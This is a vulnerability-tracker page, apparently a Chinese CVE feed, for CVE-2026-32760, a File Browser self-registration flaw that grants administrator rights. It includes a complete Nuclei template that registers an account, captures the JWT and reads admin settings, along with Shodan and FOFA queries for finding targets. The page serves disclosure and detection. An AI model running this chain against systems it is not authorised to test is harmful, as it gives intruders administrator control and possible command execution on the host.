CVE-2026-32760: File Browser <= 2.61.2 - Self-Registration Privilege Escalation to Administrator

2026-11-29 PoC Public

Description

File Browser through 2.61.2 is affected by an improper privilege management vulnerability in its signup handler. When self-registration is enabled and the default user permissions include the admin flag, the signup handler applies the default permissions without stripping admin, so any unauthenticated user who registers via /api/signup is granted full administrator access.

Details

CVE
CVE-2026-32760 · CVE.org
Severity
高危
Published
PoC
Public

PoC

id: CVE-2026-32760

info:
  name: File Browser <= 2.61.2 - Self-Registration Privilege Escalation to Administrator
  author: DhiyaneshDk
  severity: critical
  description: |
    File Browser through 2.61.2 is affected by an improper privilege management vulnerability in its signup handler. When self-registration is enabled and the default user permissions include the admin flag, the signup handler applies the default permissions without stripping admin, so any unauthenticated user who registers via /api/signup is granted full administrator access.
  impact: |
    An unauthenticated attacker can self-register an administrator account, gaining full control over files, users and settings, and arbitrary command execution on the host when command execution is enabled.
  remediation: |
    Upgrade to File Browser 2.62.0 or later, which forces the admin permission off for self-registered users.
  reference:
    - https://github.com/filebrowser/filebrowser/security/advisories/GHSA-5gg9-5g7w-hm73
    - https://github.com/filebrowser/filebrowser/commit/a63573b67eb302167b4c4f218361a2d0c138deab
    - https://nvd.nist.gov/vuln/detail/CVE-2026-32760
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
    cvss-score: 10
    cve-id: CVE-2026-32760
    epss-score: 0.02865
    epss-percentile: 0.87516
    cwe-id: CWE-269
  metadata:
    verified: true
    max-request: 3
    vendor: filebrowser
    product: filebrowser
    shodan-query: http.title:"File Browser"
    fofa-query: title="File Browser"
  tags: cve,cve2026,filebrowser,privesc,unauth,intrusive

variables:
  username: "{{rand_text_alpha(10)}}"
  password: "{{rand_text_alphanumeric(16)}}"

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        POST /api/signup HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"username":"{{username}}","password":"{{password}}"}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
        internal: true

  - raw:
      - |
        POST /api/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"username":"{{username}}","password":"{{password}}","recaptcha":""}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'starts_with(body, "eyJ")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: jwt
        internal: true
        group: 1
        regex:
          - '(eyJ[A-Za-z0-9._-]+)'

  - raw:
      - |
        GET /api/settings HTTP/1.1
        Host: {{Hostname}}
        X-Auth: {{jwt}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "userHomeBasePath","authMethod")'
        condition: and
# digest: 4a0a00473045022100ac9dce47e4da1a4ac119ddd8edeb5b77f035ba8f53c23c935800314c8e85f70702201eaa7fef63bc42cf1e5e1c94bb4f0ad0327d58112852a295d05e7c06b012b396:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life